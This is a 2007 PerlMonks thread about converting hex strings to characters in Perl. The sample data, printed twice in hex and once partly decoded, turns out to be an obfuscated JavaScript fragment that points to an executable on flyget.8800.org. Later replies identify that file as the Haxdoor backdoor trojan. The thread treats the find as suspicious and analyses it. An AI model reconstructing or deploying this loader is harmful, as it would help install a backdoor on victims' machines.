xiaoyafeng has asked for the wisdom of the Perl Monks concerning the following question:

Hi monks,

Long time no see! I have a little trouble when I show off perl to my colleague! :(
Below is my script used to translate hexadecimal to ascii.
open ($fh,"<vip.txt"); my $text = <$fh>; chomp $text; map {printf ("%c", $_)} split (',', $text); __vip.txt__ 0x3C,0x73,0x63,0x72,0x69,0x70,0x74,0x3E,0xD,0xA,0x66,0x75,0x6E,0x63,0x +74,0x69,0x6F,0x6E,0x20,0x67,0x6E,0x28,0x72,0x52,0x61,0x47,0x45,0x79,0 +x6B,0x55,0x31,0x29,0x7B,0x76,0x61,0x72,0x20,0x4F,0x72,0x68,0x32,0x3D, +0x77,0x69,0x6E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x34,0x64,0x5C,0x78 +,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x38,0x22,0x5D,0x5B,0x2 +2,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x31,0x5C,0x78,0x36,0x65,0x5C,0x +78,0x36,0x34,0x5C,0x78,0x36,0x66,0x5C,0x78,0x36,0x64,0x22,0x5D,0x28,0 +x29,0x2A,0x72,0x52,0x61,0x47,0x45,0x79,0x6B,0x55,0x31,0x3B,0x72,0x65, +0x74,0x75,0x72,0x6E,0x27,0x5C,0x78,0x37,0x65,0x5C,0x78,0x37,0x34,0x5C +,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x2B,0x27,0x5C,0x78,0x32,0x6 +5,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x +7D,0x74,0x72,0x79,0x7B,0x76,0x69,0x70,0x3D,0x27,0x68,0x74,0x74,0x70,0 +x3A,0x2F,0x2F,0x66,0x6C,0x79,0x67,0x65,0x74,0x2E,0x38,0x38,0x30,0x30, +0x2E,0x6F,0x72,0x67,0x2F,0x76,0x69,0x70,0x2E,0x65,0x78,0x65,0x27,0x3B +,0x76,0x61,0x72,0x20,0x63,0x68,0x65,0x6E,0x7A,0x69,0x3D,0x77,0x69,0x6 +E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x36,0x34,0x5C,0x78,0x36,0x66,0x +5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x35,0x5C,0x78,0x36,0x64,0x5C,0x78,0 +x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D,0x5B,0x22, +0x5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x35,0x5C,0x78 +,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x35,0x5C,0x78,0x34,0x3 +5,0x5C,0x78,0x36,0x63,0x5C,0x78,0x36,0x35,0x5C,0x78,0x36,0x64,0x5C,0x +78,0x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D, __error__ Argument "0x78" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x37" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x35" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x5C" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x78" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x37" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x34" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x5C" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x78" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x36" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x35" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x22" isn't numeric in sprintf at D:\vip.pl line
I suppose 'split' let perl treat element as string type. But how can I reverse it to number? Any answers are appreciated!

I am trying to improve my English skills, if you see a mistake please feel free to reply or /msg me a correction

Replies are listed 'Best First'.
Re: How can I tell perl the element is number?
by kyle (Abbot) on Aug 13, 2007 at 02:53 UTC

    You need to use hex.

    map {printf ("%c", hex $_)} split (',', $text);

    By the way, I personally prefer not to use map in a void context like that. It produces a list, so use it. I might write the above this way:

    print map { sprintf '%c', hex $_ } split q{,}, $text;

    If you really want a simple loop, "for" is a good way to go.

    printf '%c', hex $_ for split q{,}, $text;
      Thanks a lot!
      I didn't totally realized really meaning of hex and oct until today!
      And I'm happy to hear perl 6 will add number type.

      I am trying to improve my English skills, if you see a mistake please feel free to reply or /msg me a correction
Re: How can I tell perl the element is number?
by johngg (Canon) on Aug 13, 2007 at 08:46 UTC
    kyle has pointed out the need for hex but you could also use chr instead of printf to convert values to characters.

    print map { chr hex } split m{,}, $text;

    Cheers,

    JohnGG

Re: How can I tell perl the element is number?
by ww (Archbishop) on Aug 13, 2007 at 13:35 UTC
    My (paranoia-level mod ignorance) may be getting too high. But executing this code (seeking to learn from revisions suggested by wiser monks):

    my $text = <DATA>; chomp $text; print map { chr hex } split m{,}, $text; # map {printf ("%c", $_)} split (',', $text); # open ($fh,"<vip.txt"); # my $text = <$fh>; # chomp $text; # map { printf ("%c", $_) } split (',', $text); __DATA__ 0x3C,0x73,0x63,0x72,0x69,0x70,0x74,0x3E,0xD,0xA,0x66,0x75,0x6E,0x63,0x +74,0x69,0x6F,0x6E,0x20,0x67,0x6E,0x28,0x72,0x52,0x61,0x47,0x45,0x79,0 +x6B,0x55,0x31,0x29,0x7B,0x76,0x61,0x72,0x20,0x4F,0x72,0x68,0x32,0x3D, +0x77,0x69,0x6E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x34,0x64,0x5C,0x78 +,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x38,0x22,0x5D,0x5B,0x2 +2,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x31,0x5C,0x78,0x36,0x65,0x5C,0x +78,0x36,0x34,0x5C,0x78,0x36,0x66,0x5C,0x78,0x36,0x64,0x22,0x5D,0x28,0 +x29,0x2A,0x72,0x52,0x61,0x47,0x45,0x79,0x6B,0x55,0x31,0x3B,0x72,0x65, +0x74,0x75,0x72,0x6E,0x27,0x5C,0x78,0x37,0x65,0x5C,0x78,0x37,0x34,0x5C +,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x2B,0x27,0x5C,0x78,0x32,0x6 +5,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x +7D,0x74,0x72,0x79,0x7B,0x76,0x69,0x70,0x3D,0x27,0x68,0x74,0x74,0x70,0 +x3A,0x2F,0x2F,0x66,0x6C,0x79,0x67,0x65,0x74,0x2E,0x38,0x38,0x30,0x30, +0x2E,0x6F,0x72,0x67,0x2F,0x76,0x69,0x70,0x2E,0x65,0x78,0x65,0x27,0x3B +,0x76,0x61,0x72,0x20,0x63,0x68,0x65,0x6E,0x7A,0x69,0x3D,0x77,0x69,0x6 +E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x36,0x34,0x5C,0x78,0x36,0x66,0x +5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x35,0x5C,0x78,0x36,0x64,0x5C,0x78,0 +x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D,0x5B,0x22, +0x5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x35,0x5C,0x78 +,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x35,0x5C,0x78,0x34,0x3 +5,0x5C,0x78,0x36,0x63,0x5C,0x78,0x36,0x35,0x5C,0x78,0x36,0x64,0x5C,0x +78,0x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D,

    produces:

    <script> function gn(rRaGEykU1){var Orh2=window["\x4d\x61\x74\x68"]["\x72\x61\x +6e\x64\x6f\x6d"]()*rRaGEykU1;return'\x7e\x74\x6d\x70'+'\x2e\x74\x6d\x +70'}try{vip='http://flyget.8800.org/vip.exe';var chenzi=window["\x64\ +x6f\x63\x75\ x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x7 +4"]

    Is anyone else troubled by this? Can anyone offer a good idea of what it's intended to do?

    Updated with clarification, additional question

      Yes, I'm a bit troubled as well.

      Without being an expert I think it could be a javascript exploit.

      Which would explain why it's hex coded (to fool scanners).

      Update: I just tried to download the exe file, and my company's proxy didn't allow it - not a good sign either.

        Searched google, panda, trend, mcaffee, etc before posting. Only google found rRaGEykU1 and that only in three Chinese language pages it had trouble translating.
Re: How can I tell perl the element is number?
by ww (Archbishop) on Aug 13, 2007 at 14:21 UTC

    the Flyget.8800.org is 404; not so, the executable per
    <cite>http://research.sunbelt-software.com/threatdisplay.aspx?name=Haxdoor.Fam&threatid=44159</cite>

    Haxdoor.Fam Type Malware Type Description Malware ("malicious software") consists of softwar +e with clearly malicious, hostile, or harmful functionality or behavi +or and that is used to compromise and endanger individual PCs as well + as entire networks. Category Trojan Category Description Trojan is a general term for malicious softwar +e that is installed under false or deceptive pretenses or is installe +d without the user's full knowledge and consent. Most Trojans exhibit + some form of malicious, hostile, or harmful functionality or behavio +r. Level Severe Level Description Severe risks are typically installed without user + interaction through security exploits, and may allow an attacker to +remotely control the infected machine. Such risks may allow the attac +ker to install additional malware and use the compromised machine to +participate in denial of service attacks, spamming, and bot nets, or +to transmit sensitive data to a remote server. The malware may be clo +aked and not visible to the user. These risks severely compromise the + system by lowering security settings, installing 'backdoors,' infect +ing system files, or spreading to other networked machines. Advice Type Remove Description Haxdoor.Fam is a group of backdoor trojans that allow a + remote attacker to gain access and control the computer. Haxdoor is +also used to download additional malware. Add. Description Haxdoor is typically installed though exploits. Ha +xdoor uses rootkit technology in an attempt to evade detection and hi +de from the user. Some haxdoor variants may steal passwords for certa +in banking sites and transmit the stolen data to a remote server or a +n email address specified by the attacker. Haxdoor variants may displ +ay advertising, usually pop-ups on the desktop and may cause the syst +em to become unstable and crash. Haxdoor lowers system security by al +tering the registry and may disable firewalls and antivirus programs. Alias Trojan.Haxdor.I Release Date Sep 14 2006 Last updated on Aug 10 2007